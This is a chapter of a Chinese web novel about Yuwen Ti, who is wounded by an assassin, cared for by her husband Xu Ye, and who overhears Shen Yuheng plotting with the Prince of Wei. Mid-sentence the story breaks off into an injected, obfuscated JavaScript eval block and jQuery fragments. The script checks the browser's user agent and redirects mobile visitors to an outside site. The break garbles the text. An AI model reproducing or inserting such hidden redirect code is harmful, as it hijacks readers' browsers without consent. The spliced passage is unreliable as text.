14.女之耽兮,不可说也

作品:《心刃

    宇文媞沉默片刻:“你说的,我只信一半。”


    宇文姗像是早就料到会这样,她迎上宇文媞的目光,斩钉截铁地说:“好。那你就去查。若真查出来我娘害了你,你来取我的命,我用我的命换她的。”


    宇文媞忽然想起小时候。爹爹恨不得娘亲早点死掉,天天来找麻烦。


    娘亲住的荷风院,成了她和姐姐童年里唯一的避风港。娘总是把她搂在怀里,轻声说:“媞姐儿,来,让娘亲亲我的小乖乖。”


    姐姐听了也会扑过来,三个人笑作一团。那是她们灰暗日子里唯一的欢乐。


    便忍不住提醒道:“你娘手臂上有一大片淤青,看着像是被什么东西打的。”


    见宇文姗一脸惊愕,她又压低声音道:“你晚上请安后,悄悄躲在她房外看着,自然就明白了。”


    她刚走出郡主府,就见徐野正朝这边走来,下意识便加快了脚步。


    谁知斜刺里猛地冲出一个持刀壮汉,迎面就朝她砍来!这种货色她平日三两下就能解决,此刻却顾忌着不远处的徐野,生怕暴露身手,只得咬咬牙,硬是用肩头挨下了这一刀。


    剧痛传来的瞬间,徐野已如疾风般掠至身前,一把扶住了摇摇欲坠的她。


    “抓起来,好好审问。”她听见徐野对人吩咐了一句,顺势倒进他怀里。


    徐野将她抱回家中,径直进了自己的书房:“阿媞,别怕,咱们府中的周大夫是治伤的好手。”


    她方才接那一刀时使了巧劲,伤势并不重,却紧紧抓住徐野的手,低声道:“公爷,我疼......”


    徐野的心像是被那声“疼”狠狠拧了一把。


    周大夫赶到,仔细查看了伤口,对徐野道:“不妨事。”


    随后让府里的婆子为她包扎妥当,又开了安神药。待服下汤药,宇文媞才沉沉睡去。


    第二日清早,宇文媞醒来,见徐野坐在榻前,像是一夜未眠。


    他语气低沉:“阿媞,赫连绯害你,为什么不早点告诉我?”


    她昨日猜得没错——果然是赫连家派来的人。


    昨夜徐野让人审了一夜,果然问出了不少东西——那杀手是赫连京派来取她性命的。


    她曾被赫连绯下过春药,幸亏她机灵,暗中换了药,否则后果不堪设想。而他这个做夫君的,直到昨日才得知这一切。


    他望着她巴掌大的小脸,见她眼中已泛起泪光,怯生生地望着自己,一副不敢开口的模样,苛责的话便再也说不出口了。


    他扶起宇文媞,十分自然地给她喂饭。


    宇文媞浑身不自在——她不过是伤了肩,又不是断了手。


    却听他道:“赫连绯是个没脑子的蠢货,她的两个哥哥可不是。不过你放心,赫连京活不成了,赫连炜也要贬官。”


    他轻描淡写,仿佛只是在说一件寻常小事,却已然决定了一个世家的覆灭。


    宇文媞第一次真正见识到他的手段,竟然有些害怕。


    若有一天,他知道了自己的真实身份,她不敢想象,那时他会如何震怒。


    她下意识地往后缩了缩,徐野却像是看穿了她的心思,意由所指道:“怎么?这就怕了?你的夫君可不是什么废物。以后若有什么想做的事,用不着去找别人。”


    宇文媞乖巧地点了点头。待徐野一走,她脸上的温顺顷刻褪去。


    晚间,她服过药,正昏昏欲睡,忽见徐野走了进来。他像是直接要在她身边躺下。


    她一下子坐起身,双手护在胸前:“您要干什么?”


    徐野脱下外袍,似笑非笑地看着她:“你说呢?”


    “公爷,我肩上还有伤呢!”宇文媞警惕地看着他。


    他却一把将人从床上捞起,让她侧坐在自己腿上,一手稳稳扶住她的腰,“这样就不会碰到伤口了。”


    她还未来得及反应,徐野的吻便已落了下来。他长驱直入,带着近乎侵略的力道,手掌牢牢扣住她的后颈,不容她后退分毫。


    她原本抵在他胸前试图推开的手,渐渐失了力气,直到她因呼吸不畅而发出细微的呜咽,徐野才略略松开些许。


    他盯着她湿润红肿的嘴唇,深吸几口气平复下来,随即扯过一件外衣将她裹住,抱着人就往外走。


    宇文媞被他突如其来的举动弄得一怔:“去哪儿?”


    徐野苦笑:“你还是回自己房里睡吧。”——昨夜她在他的榻上倒是睡得香甜,他却挨着她煎熬了整晚。


    他就这样一路抱着她往清辉院去,全然不顾府中下人们偷瞄的眼光,宇文媞把脸埋在他怀里,闷声道:“公爷,我自己能走。”


    “怕什么?”徐野低笑,“难道你不是我的少夫人?”


    宋嬷嬷眼见自家小姐被公爷抱进来,笑得合不拢嘴。谁知公爷只将人轻轻放在床上,吩咐了几句,竟转身就走了!


    “小姐,公爷他又走了?”宋嬷嬷赶紧问。


    “谁知道他怎么回事!”宇文媞低声嗔怪。


    她坐到妆镜前,抬眼一看,蓦地愣住——镜中的女子面颊泛红,连嘴唇都微微肿了起来。


    她像是被一盆冷水兜头浇下,自己这几日,实在是忘形了!


    徐野与沈玉蘅之间还不清不楚,她绝不允许自己被皮相迷惑,步上母亲与继母的后尘,被个男人骗得乱了心神,从此困在这深宅内院之中。


    她在心中反复默念:我不喜欢徐野,这两日亲近他,不过是为了借他的手,除去赫连家这个潜在的威胁......


    她一连念了三遍,还觉得不够坚定,又取来纸笔,认认真真地写下:“士之耽兮,犹可说也,女之耽兮,不可说也。”


    她将自己写的这张纸叠了起来,放在枕头下面,好夜夜提醒着自己。


    夜深人静时,她又听到太平司特有的暗号,悄悄翻墙出去,便看见师父静立在夜色之中等候着她。


    “令


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463085|184761||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    令,你把沈玉蘅姨娘和弟弟的藏身之处告诉徐野了?”崔则问。


    “是,我暗地里提示他了。”宇文媞道,“我利用过徐野,他对沈玉蘅一片真心,待我报完仇,就成全他们。”


    崔则听她这样说,心里好受了点,“只怕沈玉蘅这个人,没那么简单。”


    她随师父跃入一处极为偏僻的院落,只环顾四周,心中便已了然——这定然是某位大人物私设的场所,用来办一些不能见光的事。


    就在侍卫们换防的刹那,她只觉身子一轻,已被师父提着凌空而起,下一刻,两人便稳稳伏在了主屋的屋顶上。


    崔则悄悄揭下瓦片,宇文媞向下望去——那站在屋内,姿态恭顺的人,竟是沈玉蘅。而她对面的人被垂帘遮去大半,看不清面容。


    师父在耳边提醒:“这里是魏王的暗宅。”


    又听下方沈玉蘅焦急道:“王爷,徐野真的在云州找到了我姨娘和弟弟?”


    对面的人却依旧气定神闲,“往日还是我们小看了他,没想到他府中的暗卫,竟有这般本事。”


    沈玉蘅连说了三声“好!好!好!”


    “我愿意按王爷说的办,只有一个要求,事成之后,王爷把徐野交给我,任我处置。”


    魏王心内冷笑:没用的女人,徐野抓了她至亲来威胁她,她竟还放不下徐野。像徐野这样的对手,一生中能制住他的机会屈指可数。明日他若肯降便罢;若不降,必杀之。


    心中虽如此想,他面上却温和一笑:“这是自然。待他落到我们手中,搓圆揉扁,还不全由你心意?至于他那少夫人,你要是想杀,也杀了便是。”


    宇文媞见师父握紧了拳,似乎在极力忍耐着什么。


    沈玉蘅点了点头:“好,我这就传信给他,约他明日出来交换账本。”


    二人屏息趴着,直到那他们彻底走出屋子,才悄无声息地掠出院外。


    她望向师父,低声道:“我原本是想帮他,可谁能料到,沈玉蘅竟是这么毒辣的人。徐野为了帮她寻找亲人费尽周折,她却暗中与魏王勾结,反要害他性命。”


    崔则转头看了她一眼,这丫头恐怕还没明白——徐野哪里是在帮沈玉蘅寻亲,分明是抓了她的至亲作为要挟。


    如今回想,往日他与沈玉蘅形影不离,恐怕也是为了天成银矿的事。


    不过,她既然有这样的误会,他又何必说破呢?


    “明日你想办法拦住徐野,别让他出门。”


    倒不是他有多好心,只是魏王阴毒,徐野若是遭遇不测,他只怕自己来不及护她周全。


    宇文媞回了国公府,拿出短刀,反手在自己快要好的伤口上轻轻划了一刀。


    第二日一早,徐野果然带了一队护卫,眼看便要出门。几个暗卫以一种特殊的阵法将他围着,这是要去办大事的阵仗。


    她特意等在垂花门下,见他们过来,上前一步拦住了去路:“公爷要去哪儿?”